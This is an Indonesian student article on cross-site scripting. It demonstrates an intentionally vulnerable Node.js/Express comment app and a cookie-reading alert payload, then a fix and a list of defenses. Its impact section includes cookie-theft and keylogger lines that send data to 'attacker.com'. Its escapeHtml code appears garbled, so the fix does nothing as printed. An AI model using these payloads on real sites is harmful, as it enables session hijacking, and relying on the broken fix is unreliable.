Pendahuluan
Jujur, sebelum ngerjain tugas ini saya sendiri nggak terlalu paham apa itu XSS. Dengernya sering, tapi ngerti cara kerjanya? Belum tentu.
Nah, waktu browsing nyari bahan, saya nemu satu skenario yang bikin saya mikir. Bayangin: kamu lagi buka situs berita yang udah kamu percaya lama. Tiba-tiba muncul pop-up minta login ulang. Kamu masukkin username sama password, terus lanjut baca berita kayak biasa. Yang kamu nggak tau kredensial kamu barusan dikirim ke server orang lain.
Itu bukan cerita di film. Itu yang namanya Cross-Site Scripting, atau XSS.
XSS selalu masuk daftar OWASP Top 10 daftar sepuluh kerentanan web paling berbahaya yang dikeluarkan sama Open Web Application Security Project. Dan yang bikin saya kaget, serangan ini masih relevan banget di 2026. Bukan karena serangannya canggih, tapi karena banyak developer yang nggak sadar kalau kode mereka sendiri bisa jadi celah.
Artikel ini saya tulis berdasarkan eksperimen yang saya lakuin sendiri pakai Node.js di laptop. Bukan teori doang saya beneran nyoba serangannya, terus nyoba benerin juga.
"XSS itu bukan cuma bug teknis. Dia itu kayak pintu yang kamu sendiri yang buka tanpa sadar, terus heran kenapa ada orang asing masuk."
Apa Itu XSS?
Simpelnya, XSS terjadi ketika penyerang berhasil nyisipin kode JavaScript berbahaya ke dalam halaman web dan kode itu dijalankan oleh browser orang lain yang buka halaman tersebut.
Kenapa bisa terjadi? Karena aplikasi webnya nerima input dari pengguna, terus nampilinnya lagi ke halaman tanpa dicek dulu. Browser nggak tau bedanya JavaScript yang ditulis developer asli sama JavaScript yang disisipkan penyerang. Selama ada di halaman, dia jalanin aja.
Ada Tiga Jenis XSS yang Perlu Diketahui
Jenis Cara Kerja Bertahan? Bahayanya Stored XSS Skrip disimpen di database, jalan tiap kali halaman dibuka Permanen 🔴 Paling berbahaya Reflected XSS Skrip dikirim lewat URL, langsung balik ke halaman Sementara 🟠 Berbahaya DOM-Based XSS Manipulasi DOM di sisi klien, server nggak terlibat sama sekali Sementara 🟡 Lumayan berbahaya
Yang paling sering jadi masalah di dunia nyata itu Stored XSS sekali payload masuk database, semua orang yang buka halaman itu kena.
Cara Kerja Serangan XSS
Sebelum ke eksperimen, saya mau jelasin dulu alurnya biar lebih kebayang.
Browser itu pada dasarnya nurut aja. Dia dapet HTML sama JavaScript dari server, langsung dia jalanin. Dia nggak nanya "ini kode dari developer aslinya atau bukan?" pokoknya ada di halaman, jalan.
Nah, alur serangan Stored XSS itu kira-kira begini:
- Penyerang nemu kolom input yang nggak divalidasi misalnya kolom komentar
- Dia kirim payload XSS sebagai "komentar"
- Server simpen payload itu ke database tanpa dicek
- Pengguna lain buka halaman server kirim konten termasuk payload tadi
- Browser si korban jalanin scriptnya
- Data sensitif seperti cookie dikirim diam-diam ke server penyerang
Kedengarannya simpel? Iya. Dan itu yang bikin dia berbahaya.
Eksperimen 1: Nyobain Serangan XSS Sendiri
Spesifikasi Lingkungan Eksperimen
- OS: Windows 10
- Runtime: Node.js v24.15.0
- Framework: Express.js
- Browser: Microsoft Edge
Bikin Aplikasi yang Sengaja Rentan
Saya bikin aplikasi komentar sederhana pakai Node.js + Express. Sengaja dibuat tanpa sanitasi biar bisa lihat langsung efeknya:
const express = require('express');
const app = express();
let comments = [];
app.use(express.urlencoded({ extended: true }));
app.get('/', (req, res) => {
const commentHtml = comments
.map(c => `<li>${c}</li>`) // ❌ input langsung masuk HTML, nggak dicek sama sekali
.join('');
res.send(`
<html>
<head><title>Eksperimen XSS</title></head>
<body style="font-family:sans-serif; max-width:600px; margin:40px auto;">
<h2>💬R Kolom Kmentar (RENTAN XSS)</h2>
<form method="POST" action="/comment">
<input name="comment" placeholder="Tulis komentar..."
style="width:70%; padding:8px;">
<button type="submit" style="padding:8px 16px;">Kirim</button>
</form>
<hr>
<h3>Komentar:</h3>
<ul>${commentHtml}</ul>
</body>
</html>
`);
});
app.post('/comment', (req, res) => {
comments.push(req.body.comment);
res.redirect('/');
});
app.listen(3000, () => {
console.log('Server berjalan di http://localhost:3000');
});Masalahnya ada di baris .map(c => \<li>${c}</li>`). Variabel citu langsung ditaruh di HTML tanpa diproses apapun. Kalaucisinya tag<script>`, ya browser langsung jalanin.
Payload yang Dipakai
<script>alert('SERANGAN XSS BERHASIL! Cookie: ' + document.cookie)</script>Hasilnya

Muncul pop-up di browser dengan isi: "SERANGAN XSS BERHASIL! Cookie: debug-bar-position=bottom; debug-bar-theme=dark; debug-bar-state=minimized"
Jujur waktu pertama kali liat hasilnya saya sendiri agak kaget. Script-nya beneran jalan. Cookie terbaca. Kalau ini bukan eksperimen lokal, data itu bisa aja udah dikirim ke server orang lain tanpa si korban tau sama sekali.
Eksperimen 2: Benerin dengan Fungsi Sanitasi
Setelah berhasil nunjukin serangannya, sekarang saya modifikasi kodenya biar aman. Caranya dengan nambahin fungsi escapeHtml yang ngubah karakter berbahaya jadi teks biasa sebelum dirender ke halaman.
Kode yang Sudah Diperbaiki
const express = require('express');
const app = express();
let comments = [];
app.use(express.urlencoded({ extended: true }));
// fungsi ini yang jadi kuncinya
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/', (req, res) => {
const commentHtml = comments
.map(c => `<li>${escapeHtml(c)}</li>`) // ✅ sekarang input diproses dulu
.join('');
res.send(`
<html>
<head><title>Eksperimen XSS - VERSI AMAN</title></head>
<body style="font-family:sans-serif; max-width:600px; margin:40px auto;">
<h2>✅ Kolom Komentar (SUDAH AMAN)</h2>
<form method="POST" action="/comment">
<input name="comment" placeholder="Tulis komentar..."
style="width:70%; padding:8px;">
<button type="submit" style="padding:8px 16px;">Kirim</button>
</form>
<hr>
<h3>Komentar:</h3>
<ul>${commentHtml}</ul>
</body>
</html>
`);
});
app.post('/comment', (req, res) => {
comments.push(req.body.comment);
res.redirect('/');
});
app.listen(3000, () => {
console.log('Server AMAN berjalan di http://localhost:3000');
});Apa yang Dilakukan Fungsi escapeHtml?
Fungsinya ngubah karakter yang bisa "jadi" HTML menjadi versi teks-nya:
Karakter Jadi Kenapa & & Cegah entity injection < < Cegah tag HTML kebuka > > Cegah tag HTML ketutup " " Cegah keluar dari atribut ' ' Sama, buat single quote
Jadi karakter < di input pengguna nggak akan pernah dibaca browser sebagai "buka tag" — dia cuma baca tulisan < yang tampil sebagai < biasa.
Hasilnya

Payload yang sama dimasukin lagi, dan hasilnya: halaman nampilin teks literal
<script>alert(...)...</script>
Nggak ada pop-up. Script nggak jalan.
Cuma dengan satu fungsi, serangan yang sebelumnya berhasil jadi gagal total.
Kalau Serangan Ini Beneran Terjadi, Apa Dampaknya?
XSS bukan cuma soal nampilin alert buat iseng. Di skenario nyata, dampaknya bisa serius banget:
1. Session Hijacking : Akun Diambil Alih
Penyerang bisa nyuri cookie sesi dan pake buat login sebagai korban. Tanpa tau password pun bisa masuk.
new Image().src = 'http://attacker.com/steal?c=' + document.cookie;2. Phishing di Domain yang Sah
Form login palsu bisa disuntikkan ke halaman asli. Korban lihat domain yang bener, jadi nggak curiga. Padahal data mereka langsung ke penyerang.
3. Keylogging Semua Ketikan Terekam
document.addEventListener('keypress', (e) => {
new Image().src = 'http://attacker.com/log?k=' + e.key;
});Password, nomor kartu kredit semua bisa kepantau.
4. XSS Worm
Di platform sosial, payload bisa nyebar otomatis dari satu akun ke akun lain. Kasus paling terkenal: Worm Samy di MySpace tahun 2005 nyebar ke lebih dari satu juta akun cuma dalam 20 jam.
5. Defacement
Tampilan website bisa diubah total. Reputasi hancur, pengguna nggak percaya lagi.
6. Data Exfiltration
Apapun yang ada di localStorage, sessionStorage, atau DOM halaman bisa diambil.
Cara Nyegahnya
Pencegahan XSS itu perlu lebih dari satu lapis. Nggak ada satu cara yang cukup kalau berdiri sendiri.
1. Output Encoding Yang Paling Penting
Ini yang udah kita buktiin di Eksperimen 2. Selalu encode output sebelum dirender ke halaman. Ini garis pertahanan pertama.
2. Jangan Pakai innerHTML Sembarangan
// ❌ bahaya
element.innerHTML = userInput;
// ✅ aman
element.textContent = userInput;innerHTML itu jalanin HTML termasuk script. textContent cuma nampilin teks.
3. Pasang Content Security Policy (CSP)
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self'"
);
next();
});CSP itu kayak whitelist browser cuma mau jalanin script dari sumber yang udah diizinin.
4. Cookie HttpOnly & Secure
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // JavaScript nggak bisa baca cookie ini
secure: true, // cuma lewat HTTPS
sameSite: 'strict' // proteksi CSRF juga
}
}));Bahkan kalau XSS berhasil, dengan HttpOnly JavaScript nggak bisa ngakses cookie sesi jadi session hijacking gagal.
5. Pakai DOMPurify kalau Terpaksa Render HTML
Kalau emang harus render HTML dari user (misal rich text editor):
const clean = DOMPurify.sanitize(dirtyHTML);
element.innerHTML = clean;6. Framework Modern Udah Bantu, Tapi Tetap Hati-hati
React, Vue, Angular udah auto-escape by default. Tapi tetep waspadai dangerouslySetInnerHTML di React namanya aja udah ngasih hint.
Checklist Singkat
- ✅ Selalu encode output sebelum render ke halaman
- ✅ Pakai
textContentbukaninnerHTML - ✅ Pasang CSP header
- ✅
HttpOnlydanSecuredi cookie - ✅ Validasi input di server dan klien
- ✅ Pakai framework yang udah ada proteksi bawaannya
- ✅ Pakai DOMPurify kalau harus render HTML dari user
- ✅ Audit dan pentest secara rutin
Kesimpulan
Dari eksperimen ini, saya jadi ngerti kenapa XSS masih jadi ancaman nyata. Bukan karena susah dicegah — justru sebaliknya. Dia gampang banget muncul karena satu baris kode yang keliatan nggak berbahaya. Satu .map(c => \<li>${c}</li>`)` tanpa sanitasi udah cukup buat buka celah.
Yang bikin lega, pencegahannya juga nggak susah. Fungsi escapeHtml sederhana itu udah cukup buat nutup celah yang sama. Tambahin CSP, atur cookie dengan benar, dan pakai API DOM yang tepat risikonya bisa ditekan jauh.
"Keamanan itu bukan hal yang ditambahin belakangan. Dia harus ada dari awal, dari baris kode pertama yang kamu tulis."
Saya nulis artikel ini bukan karena sudah ahli soal keamanan web. Justru sebaliknya saya nulis ini sambil belajar. Dan kalau ada satu hal yang paling berkesan dari proses ini, itu adalah: betapa mudahnya sesuatu yang kelihatan aman ternyata nggak.
Referensi
- OWASP Foundation. (2025). Cross Site Scripting (XSS). https://owasp.org/www-community/attacks/xss/
- PortSwigger Web Security. (2025). Cross-site scripting (XSS) cheat sheet. https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- MDN Web Docs. (2025). Content Security Policy (CSP). https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- Google Web Fundamentals. (2024). Preventing XSS with Trusted Types. https://web.dev/trusted-types/
- OWASP. (2021). OWASP Top Ten 2021 — A03: Injection. https://owasp.org/Top10/A03_2021-Injection/
- Cure53. (2024). DOMPurify — DOM-only, super-fast, uber-tolerant XSS sanitizer. https://github.com/cure53/DOMPurify
- Excess XSS. (2024). A Comprehensive Tutorial on Cross-Site Scripting. https://excess-xss.com/
— - Penulis: Putri Melati Ramadhaniati NIM: 312410194 Kelas: I241B Program Studi: Teknik Informatika Universitas Pelita Bangsa Mata Kuliah: Pemrograman Web 2